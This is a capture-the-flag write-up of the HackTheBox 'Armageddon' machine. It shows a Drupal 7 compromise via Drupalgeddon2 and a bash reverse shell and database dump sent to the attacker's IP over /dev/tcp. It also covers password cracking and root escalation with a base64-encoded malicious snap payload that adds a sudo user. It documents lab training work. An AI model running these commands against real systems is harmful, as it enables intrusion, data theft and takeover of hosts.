Armageddon is an easy Linux machine from HackTheBox that features an instance of Drupal 7 CMS. Enumeration of the CMS reveals that it is vulnerable to a remote code execution. With help of Metasploit module, I’m able to compromise the web server. Examining the Drupal configuration files discovers a set of database credentials which then used to retrieve user credentials from the database. The user is allowed to install a snap package as root user, and this could be leveraged to obtain root shell.

Skills Learned

  • Drupal 7 exploitation using Drupalgeddon2
  • Privilege escalation via malicious snap package

Tools

Reconnaissance

Nmap

An initial nmap scan discovers two open ports: SSH on 22 and an Apache Web Server serving Drupal 7 on 80.

→ kali@kali «armageddon» «10.10.14.4» 
$ nmap -sC -sV -oA scans/10-initial-armageddon 10.129.90.96
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 22:27 EDT
Nmap scan report for 10.129.90.96
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 29 22:28:01 2021 -- 1 IP address (1 host up) scanned in 51.04 seconds

Nmap also identified the OS as CentOs, so there is a chance that it would only allow outgoing connection to ports below 1024.

Enumeration

TCP 80 - Website

Visiting port 80 presents a page that has no other content except a login form.

image-20210330094613154

A previous nmap scan detected that there was a changelog file. Poking /CHANGELOG.txt discovers the exact version of this Drupal instance.

→ kali@kali «armageddon» «10.10.14.4» 
$ curl -s http://10.129.90.96/CHANGELOG.txt 
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
...[SNIP]...

Finding Vulnerabilities

searchsploit pops up a lot of exploit results related to Drupal 7. But, based on the results, it is clear that the current version of Drupal seems to be vulnerable to remote code execution.

→ kali@kali «armageddon» «10.10.14.4» 
$ searchsploit Drupal 7
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)                  | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)                   | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)        | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)        | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)           | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities                                             | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution                                 | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution                            | php/webapps/3313.pl
Drupal < 7.34 - Denial of Service                                                  | php/dos/35415.txt
Drupal < 7.34 - Denial of Service                                                  | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)           | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)        | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasp | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)   | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Exe | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                     | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                 | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure                  | php/webapps/44501.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scrip | php/webapps/25493.txt
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution                      | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting            | php/webapps/35397.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)                  | php/remote/40130.rb
----------------------------------------------------------------------------------- ---------------------------------

Since “Drupalgeddon2” exploits doesn’t state it requires authentication, I will give it a try.

Foothold

Shell as apache

Metasploit - Drupalgeddon 2

Metasploit has a module for Drupalgeddon2 ( exploit/unix/webapp/drupal_drupalgeddon2). On my first attempt, it returned with no session.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.129.90.96
RHOSTS => 10.129.90.96
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LPORT 9001
LPORT => 9001
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.4:9001 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Exploit completed, but no session was created

By assuming that the firewall blocks all outgoing ports except for well-known, I changed my listener port to 443, and now it successfully opened a session.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lport 443
lport => 443
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.4:443 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.129.90.96
[*] Meterpreter session 1 opened (10.10.14.4:443 -> 10.129.90.96:44612) at 2021-03-29 23:47:59 -0400

meterpreter > shell
Process 9611 created.
Channel 0 created.
whoami
apache
pwd
/var/www/html

I sent the following command because I wanted to change my shell, so I could do the PTY trick to upgrade my shell.

$ bash -c 'bash -i >& /dev/tcp/10.10.14.4/88 0>&1'

On my listener

→ kali@kali «armageddon» «10.10.14.4» 
$ nc -nvlp 88  
listening on [any] 88 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.90.96] 58422
bash: no job control in this shell
bash-4.2$ 

However, I’m unable to get the PTY trick working. It always returns the following error.

bash-4.2$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib64/python3.6/pty.py", line 154, in spawn
    pid, master_fd = fork()
  File "/usr/lib64/python3.6/pty.py", line 96, in fork
    master_fd, slave_fd = openpty()
  File "/usr/lib64/python3.6/pty.py", line 29, in openpty
    master_fd, slave_name = _open_terminal()
  File "/usr/lib64/python3.6/pty.py", line 59, in _open_terminal
    raise OSError('out of pty devices')
OSError: out of pty devices

Privilege Escalation

Shell as brucetherealadmin

Enumeration

There is only one user other than root who has a login shell.

bash-4.2$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

Running a recursive grep to find passwords under the web root directory pops one password out from settings.php.

bash-4.2$ pwd
/var/www/html
bash-4.2$ grep -Ri "password" 2>/dev/null
...[SNIP]...
sites/default/settings.php:      'password' => 'CQHEy@9M*m23gBVj',
...[SNIP]...

Looking at the contents of settings.php reveals a database credential.

bash-4.2$ cat sites/default/settings.php
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

MySQL Access

The password didn’t work for user brucetherealadmin, but it did work for the database (of course). Unfortunately, because I’m not in a TTY, I couldn’t get into MySQL interactive shell, so instead, I dumped the database using mysqldump and exfiltrated the output to my attacking machine.

bash-4.2$ mysqldump -u drupaluser -p'CQHEy@9M*m23gBVj' drupal > drupal.dump; cat drupal.dump > /dev/tcp/10.10.14.4/88

On my Kali.

→ kali@kali «loot» «10.10.14.4» 
$ nc -nvlp 88 > drupal.dump
listening on [any] 88 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.90.96] 58444

Examination of the dumped data reveals the structure of users table.

...[SNIP]...
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `uid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT 'Primary Key: Unique user ID.',
  `name` varchar(60) NOT NULL DEFAULT '' COMMENT 'Unique user name.',
  `pass` varchar(128) NOT NULL DEFAULT '' COMMENT 'User’s password (hashed).',
...[SNIP]...

Knowing the users table structure, I could use the MySQL -e option to retrieve the contents of column name and column pass from the users table. This returns a password hash of brucetherealadmin, and I will have to crack this.

bash-4.2$ mysql -h localhost -u drupaluser -p'CQHEy@9M*m23gBVj' drupal -e 'select name, pass from users'
name    pass
brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Password Crack

The password has been recovered back to plain text using hashcat and rockyou.txt.

C:\tools\hashcat6> hashcat.exe -m 7900 "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" rockyou.txt
...[SNIP]...
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Drupal7
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Tue Mar 30 12:03:57 2021 (3 secs)
Time.Estimated...: Tue Mar 30 12:04:00 2021 (0 secs)
...[SNIP]...

SSH - brucetherealadmin

The password booboo works for brucetherealadmin and can be used on SSH.

→ kali@kali «loot» «10.10.14.4» 
$ ssh brucetherealadmin@10.129.90.96
brucetherealadmin@10.10.10.233's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

User flag is done here.

Shell as root

Enumeration

User brucetherealadmin is allowed to run /usr/bin/snap install as root user. I could leverage this rights to install a malicious snap package.

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
    PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

Malicious Snap Package

After googling around, I found this blog by Chris Moberly about Dirty Sock vulnerability in Snap version < 2.37. The author created two PoC exploits for this vulnerability:

  • dirty_sockv1: Uses the ‘create-user’ API to create a local user based on details queried from the Ubuntu SSO.

  • dirty_sockv2: Sideloads a snap that contains an install-hook that generates a new local user.

The current snap version is not vulnerable (patched with regex) to Dirty Sock. But, since the goal here is to install a malicious snap package with administrative privilege, I can steal the payload (trojan snap code) from the PoC exploit v2 and revert it back to a snap package.

[brucetherealadmin@armageddon shm]$ snap version
snap    2.47.1-1.el7
snapd   2.47.1-1.el7
series  16
centos  7
kernel  3.10.0-1160.6.1.el7.x86_64

First, I will grab the v2 exploit and transfer it to Armageddon

→ kali@kali «exploit» «10.10.14.4» 
$ wget https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py
→ kali@kali «exploit» «10.10.14.4» 
$ scp dirty_sockv2.py brucetherealadmin@10.129.92.110:/dev/shm
brucetherealadmin@10.129.92.110's password: 
dirty_sockv2.py                                       100% 8696     8.5KB/s   00:01    

I will pull out the payload from the exploit and revert it back to a snap package.

[brucetherealadmin@armageddon shm]$ python3 -c "print('''
> aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
> /////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
> ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
> TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
> T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
> Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
> ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
> ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
> L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
> b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
> rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
> rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
> AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
> XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
> RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
> AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''+ 'A' * 4256 + '==')" | base64 -d > malicious.snap
[brucetherealadmin@armageddon shm]$ file malicious.snap
file malicious.snap
malicious.snap: Squashfs filesystem, little endian, version 4.0, 910 bytes, 7 inodes, blocksize: 131072 bytes, created: Sat Feb  2 23:00:32 2019

Install Malicious Package

The malicious.snap file now can be installed with --devmode option to skip digital signatures check. If the exploit success, there will be a new user added called dirty_sock (default from the payload).

[brucetherealadmin@armageddon shm]$ sudo /usr/bin/snap install --devmode malicious.snap 
dirty-sock 0.1 installed

When I look at the /etc/passwdm, the user is there.

[brucetherealadmin@armageddon shm]$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash

su - root

Now I can switch user to dirty_sock using a password of dirty_sock and run sudo su to obtain a root shell.

[brucetherealadmin@armageddon shm]$ su dirty_sock
Password: 
[dirty_sock@armageddon shm]$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock: 
[root@armageddon shm]# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.92.110  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 fe80::7edc:a185:87bc:5935  prefixlen 64  scopeid 0x20<link>
        inet6 fe80::7648:5ea1:5371:b3b5  prefixlen 64  scopeid 0x20<link>
        inet6 fe80::ef75:a96e:3c27:e78b  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:41:c7  txqueuelen 1000  (Ethernet)
        RX packets 9191  bytes 732392 (715.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1149  bytes 188885 (184.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Reference